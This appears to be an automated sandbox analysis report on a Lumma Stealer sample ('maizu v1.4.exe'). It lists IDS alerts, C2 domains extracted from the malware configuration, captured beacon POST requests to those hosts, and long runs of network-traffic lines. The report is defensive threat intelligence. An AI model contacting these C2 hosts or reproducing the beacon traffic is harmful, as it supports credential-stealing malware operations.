Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	1_2_00441D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	1_2_0040EDE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	1_2_00448DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00448DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	1_2_00448DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+000001C0h]	1_2_00412DFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_0041DD90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	1_2_00449E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	1_2_00449E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp+2Ch], ebp	1_2_00448ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	1_2_00448ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00448ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	1_2_00448ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ecx+edx+02h], 0000h	1_2_00449FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	1_2_00449FD0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49705 -> 104.21.17.192:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.17.192:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49706 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: bemuzzeki.sbs
Source: Malware configuration extractor	URLs: invinjurhey.sbs
Source: Malware configuration extractor	URLs: laddyirekyi.sbs
Source: Malware configuration extractor	URLs: bleedminejw.buzz
Source: Malware configuration extractor	URLs: frizzettei.sbs
Source: Malware configuration extractor	URLs: exilepolsiy.sbs
Source: Malware configuration extractor	URLs: wickedneatr.sbs
Source: Malware configuration extractor	URLs: exemplarou.sbs
Source: Malware configuration extractor	URLs: isoplethui.sbs

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bleedminejw.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frizzettei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=_4Zr1BJ.a3yM_aA0zbr0Z_Y7Ctc_eOJECJr.LMUQ5g4-1728276245-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: frizzettei.sbs

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49739 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: bleedminejw.buzz
Source: global traffic	DNS traffic detected: DNS query: frizzettei.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bleedminejw.buzz

Source: maizu v1.4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: maizu v1.4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: maizu v1.4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: maizu v1.4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: maizu v1.4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: maizu v1.4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: maizu v1.4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: maizu v1.4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: maizu v1.4.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: maizu v1.4.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: maizu v1.4.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: maizu v1.4.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: maizu v1.4.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.7.dr	String found in binary or memory: http://upx.sf.net
Source: maizu v1.4.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, 00000001.00000002.2311278206.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/
Source: MSBuild.exe, 00000001.00000002.2311278206.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/66
Source: MSBuild.exe, 00000001.00000002.2311278206.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/;
Source: MSBuild.exe, 00000001.00000002.2311278206.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/E
Source: MSBuild.exe, 00000001.00000002.2311278206.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/api
Source: MSBuild.exe, 00000001.00000002.2311278206.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frizzettei.sbs/n
Source: MSBuild.exe, 00000001.00000002.2311278206.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
